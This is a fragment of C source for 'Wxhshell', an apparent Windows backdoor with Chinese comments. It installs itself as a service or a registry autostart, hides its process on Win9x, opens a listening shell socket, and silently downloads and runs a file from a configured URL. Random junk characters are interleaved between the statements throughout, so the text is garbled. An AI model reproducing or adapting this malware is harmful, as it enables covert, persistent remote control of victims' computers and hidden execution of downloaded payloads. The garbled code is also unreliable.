hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !b K;/) if(hProcess==NULL) return 0; MAqETjB 1jSmTI d HMODULE hMod; jz'%(6#'gW char procName[255]; ]Gm&Kn> unsigned long cbNeeded; [PrJf"Z " LfnQcI$kO if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /;TD n>lq %LdBO1D0 CloseHandle(hProcess); VKXB)-'L L(y~
,Kc if(strstr(procName,"services")) return 1; // 以服务启动 HE4S%#bH> `T2DGv return 0; // 注册表启动 mV7_O// } |[V6R\l39 wc6#C>=F // 主模块 UHl1>(U int StartWxhshell(LPSTR lpCmdLine) >SZuN"r8` { AnsJ3C SOCKET wsl; 6(Cjak+~! BOOL val=TRUE; fb8xs< int port=0; K/(Z\lL struct sockaddr_in door; kad$Fp39 ^y&2N if(wscfg.ws_autoins) Install(); kYS\TMt,C u 8~5e port=atoi(lpCmdLine); l 9rN!Q| >Y3zO 2Cr if(port<=0) port=wscfg.ws_port; z1e+Ob& Mv%B#J WSADATA data; >]bS"S if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GO#eI]>/r g[{rX4~| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sQzr+]+#9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CwEb ? door.sin_family = AF_INET; yK2>ou
door.sin_addr.s_addr = inet_addr("127.0.0.1"); + L5 door.sin_port = htons(port); 78mJ3/?rC FP6JfI8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fb]=MoiJ closesocket(wsl); 7z&^i-l. return 1; \Zk<|T61$ } ^^Q>AfTR. ||Wg'$3 if(listen(wsl,2) == INVALID_SOCKET) { H,fVF837 closesocket(wsl); 8/9YR(H3H return 1; Yj>\WH } toox`| Wxhshell(wsl); Im`R2_(] WSACleanup(); VDy_s8Z# %+$!ctn return 0; (n{!~'3 /P{'nI } 0pe*DbYP5 3t ]0 // 以NT服务方式启动 SMm$4h R VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3V/|" R2s { y*sqnzgF DWORD status = 0; OdJ=4 x> DWORD specificError = 0xfffffff; DVbY ,Hc,]TPC4
serviceStatus.dwServiceType = SERVICE_WIN32; ?7*J4. serviceStatus.dwCurrentState = SERVICE_START_PENDING; -uK@2}NZ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ubi6= serviceStatus.dwWin32ExitCode = 0; Gc!&I+kd serviceStatus.dwServiceSpecificExitCode = 0; '^t(=02J serviceStatus.dwCheckPoint = 0; H!g9~a serviceStatus.dwWaitHint = 0; 4kLTKm:G Uv3Fe%> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~!dO2\X+ if (hServiceStatusHandle==0) return; (7PVfS>; %aJ8wYj*
status = GetLastError(); LTio^uH if (status!=NO_ERROR) y{qKb:~wv { qB=%8$J serviceStatus.dwCurrentState = SERVICE_STOPPED; 7!,
p,|K serviceStatus.dwCheckPoint = 0; $5yH8JU serviceStatus.dwWaitHint = 0; D|5Fo'O^AV serviceStatus.dwWin32ExitCode = status; r%oXO]X serviceStatus.dwServiceSpecificExitCode = specificError; M#]URS2h<O SetServiceStatus(hServiceStatusHandle, &serviceStatus); [%7oq;^J return; ) ]]PhGX~ } ~M J3-<I x@"`KiEUs serviceStatus.dwCurrentState = SERVICE_RUNNING; 7y>{Y$n serviceStatus.dwCheckPoint = 0; N%8aLD serviceStatus.dwWaitHint = 0; Ds%~J if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8J#TP7; } HFf9^ ![@\p5-e // 处理NT服务事件,比如:启动、停止 FkIT/H VOID WINAPI NTServiceHandler(DWORD fdwControl)
AQz&u { X=b]Whuv switch(fdwControl) ,`l8KRd { _;5N@2? case SERVICE_CONTROL_STOP: gNo}\
lm4V serviceStatus.dwWin32ExitCode = 0; V_7QWIdiy> serviceStatus.dwCurrentState = SERVICE_STOPPED; vJ!<7 l& serviceStatus.dwCheckPoint = 0; *Ry
"`" serviceStatus.dwWaitHint = 0; 5},kXXN{+ { k;y5nXIlN SetServiceStatus(hServiceStatusHandle, &serviceStatus); v/DWy(CC } 5-X(K 'Q return; s av case SERVICE_CONTROL_PAUSE: aruT eJF serviceStatus.dwCurrentState = SERVICE_PAUSED; 0- -0+? break; >5=uq
_QY case SERVICE_CONTROL_CONTINUE: wrt^0n'r)c serviceStatus.dwCurrentState = SERVICE_RUNNING; erZ%C < break; l7=WO#Pb case SERVICE_CONTROL_INTERROGATE: 5oIgxy break; _LSf
) }; 9l9|w4YJs SetServiceStatus(hServiceStatusHandle, &serviceStatus); z}m)u } xu0pY(n^r O_wRI\! // 标准应用程序主函数 ZnYoh/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;;l-E>X0 { |yow(2(F@ 0xg6 // 获取操作系统版本 [6t!}q OsIsNt=GetOsVer(); |#!P!p} GetModuleFileName(NULL,ExeFile,MAX_PATH); wNm~H T8rf+B/.L // 从命令行安装 g{06d~Y if(strpbrk(lpCmdLine,"iI")) Install(); cH%#qE3 b:}+l;e52 // 下载执行文件 \a\ApD
if(wscfg.ws_downexe) { JmK[7t if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BPzlt WinExec(wscfg.ws_filenam,SW_HIDE); -%x9^oQwY } |CFTOe\q
=:-x; if(!OsIsNt) { (*2kM| // 如果时win9x,隐藏进程并且设置为注册表启动 0<T/P+| HideProc(); wsNM'~( StartWxhshell(lpCmdLine); Mw+8p}E } *6e 5T else .)eX(2j\ if(StartFromService()) LAwAFma> // 以服务方式启动 %@d~)f StartServiceCtrlDispatcher(DispatchTable); Pa!r*(M)C else :X6A9jmd // 普通方式启动 _n+./B StartWxhshell(lpCmdLine); #e8NF,H5 KzC`*U[
return 0; ;ywQk| r }
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